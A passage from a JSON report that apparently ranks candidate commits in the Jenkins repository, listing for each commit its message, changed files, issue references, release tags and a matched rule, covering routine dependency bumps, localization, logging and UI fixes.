"jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8784", - "relevance": 2 - } - ] - }, - { - "commit_id": "8be599a9730726b933969115d72d4c6f0d42cc8b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702665447, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to 1252.vfc2e5efa_294f (#8781) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8781": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8781", - "relevance": 2 - } - ] - }, - { - "commit_id": "9defb96b1650782fc29517415c10d7275a2daa1d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702641092, - "hunks": 4, - "message": "Update dependency stylelint to v16.0.2 (#8783)", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8783": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8783", - "relevance": 2 - } - ] - }, - { - "commit_id": "259ccc06fb01cbe5d2eb3a4bd232a49fefd835a5", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702586149, - "hunks": 7, - "message": "[JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle via `I18n` action. (#8776) [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle When running the JVM with a default locale that is not english, the resource bundle lookup for english would return a bundle with that default locale, instead of using the \"default\" that is english. Also changed bundle resolution to use uberClassloader rather than iterating on all plugin classloaders", - "changed_files": [ - "core/src/main/java/jenkins/util/ResourceBundleUtil.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8776": "[JENKINS-72467] Fix localization jenkinsci/blueocean-plugin#2534" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8776", - "relevance": 2 - } - ] - }, - { - "commit_id": "302e6ac2d1b64ea9035b00ab9fe79685dbf0aa68", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702586118, - "hunks": 7, - "message": "Logging improvements to `Run` related classes (#8777) Logging improvements to Run related classes", - "changed_files": [ - "core/src/main/java/hudson/model/Run.java", - "core/src/main/java/hudson/model/RunMap.java", - "core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8777": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8777", - "relevance": 2 - } - ] - }, - { - "commit_id": "cc4e8e72e0a4e33c03d94b8fa4bfdd485a377ac2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702497650, - "hunks": 1, - "message": "[JENKINS-72288] fix nested job link in mobile view (#8765) [JENKINS-72288] fix inested job link in mobile view when a view contains jobs that are from a nested folder, the links where not properly calculated.", - "changed_files": [ - "core/src/main/resources/lib/hudson/projectView.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8765": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8765", - "relevance": 2 - } - ] - }, - { - "commit_id": "7df7ae4a85d2f6409aebdeee2bc1cd0719bd76fb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702497643, - "hunks": 1, - "message": "[JENKINS-72443] Do not show copy option without visible items (#8763) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/hudson/model/View/newJob.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8763": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8763", - "relevance": 2 - } - ] - }, - { - "commit_id": "64dc3844b573c5efd5613b0f4498a18fceeb7443", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702497617, - "hunks": 4, - "message": "show node monitors on agent page (#8725) * show node monitors on agent page add an advanced button on the agent page. When clicking it will show the node monitors for this agent including any warnings/errors * fix style", - "changed_files": [ - "core/src/main/java/hudson/model/Computer.java", - "core/src/main/resources/hudson/model/Computer/index.jelly", - "war/src/main/scss/components/_table.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8725": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8725", - "relevance": 2 - } - ] - }, - { - "commit_id": "5562c4a0f9e724601fd8a42983c489a95d6b50e9", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702494679, - "hunks": 4, - "message": "Update dependency prettier to v3.1.1 (#8775) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8775": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8775", - "relevance": 2 - } - ] - }, - { - "commit_id": "6a2d94bfbe9fca4d020f513025100b66872a1877", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702494629, - "hunks": 46, - "message": "Simplifying `JNLPLauncher` (#8762)", - "changed_files": [ - "core/src/main/java/hudson/model/Slave.java", - "core/src/main/java/hudson/slaves/JNLPLauncher.java", - "core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java", - "core/src/main/resources/hudson/slaves/JNLPLauncher/config.jelly", - "core/src/main/resources/hudson/slaves/JNLPLauncher/config.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main.jelly", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_bg.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_de.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_es.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_it.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_pt_BR.properties", - "core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties", - "core/src/main/resources/hudson/slaves/Messages.properties", - "core/src/main/resources/hudson/slaves/Messages_pt_BR.properties", - "core/src/main/resources/hudson/slaves/Messages_ru.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8762": "Restore JCasC compatibility for JNLPLauncher.tunnel #8793 Updates and fixing deprecations jenkinsci/mock-slave-plugin#183 NPE in DockerComputerJNLPConnector.beforeContainerCreated starting with Jenkins 2.437 jenkinsci/docker-plugin#1047 [JENKINS-73011] Round-trip JNLPLauncher.tunnel to null not \"\" #9170 Removing JNLPLauncher.webSocket notation in nodes.md jenkinsci/support-core-plugin#566 Add -webSocket option by default when creating an inbound agent #9665" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8762", - "relevance": 2 - } - ] - }, - { - "commit_id": "05037a087ffc751e064710c207ad6b26c51d4a38", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702494602, - "hunks": 2, - "message": "Print deprecation warning when using `-jnlpUrl` (#8773)", - "changed_files": [ - "core/src/main/java/hudson/slaves/SlaveComputer.java", - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8773": "Print deprecation warning when using -jnlpUrl jenkinsci/remoting#705 Updates and fixing deprecations jenkinsci/mock-slave-plugin#183 Stop relying on deprecated /computer/${NAME}/jenkins-agent.jnlp endpoint shamil/docker-jenkins-auto-agent#6" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8773", - "relevance": 2 - } - ] - }, - { - "commit_id": "f885f927183d90bb4180a4a8f569fa039b3a6e5d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702337242, - "hunks": 1, - "message": "Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8772": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8772", - "relevance": 2 - } - ] - }, - { - "commit_id": "f1e29df3859ea22520e5db62899fb622dbb92102", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702328563, - "hunks": 1, - "message": "Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8770": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8770", - "relevance": 2 - } - ] - }, - { - "commit_id": "f9a777bc682963de4640303b2f28ac488f9b93ef", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702113915, - "hunks": 15, - "message": "Class loading deadlock between `PermalinkProjectAction.Permalink` & `PeepholePermalink` (#8736) * Class loading deadlock between `PermalinkProjectAction` & `PeepholePermalink` * Checkstyle * Clearer reproducer * Do not let `Permalink` refer to its subclass `PeepholePermalink` in its static initializer * Cleaner test * Checkstyle * Maybe we should not run `initialized` from `Job.` either", - "changed_files": [ - "core/src/main/java/hudson/model/Job.java", - "core/src/main/java/hudson/model/PermalinkProjectAction.java", - "core/src/main/java/jenkins/model/PeepholePermalink.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8736": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8736", - "relevance": 2 - } - ] - }, - { - "commit_id": "85c1f8ddf228b1def6a8251b8d13512209552b2f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702084434, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to 1311.vcf0a_900b_37c2 (#8764) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8764": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - 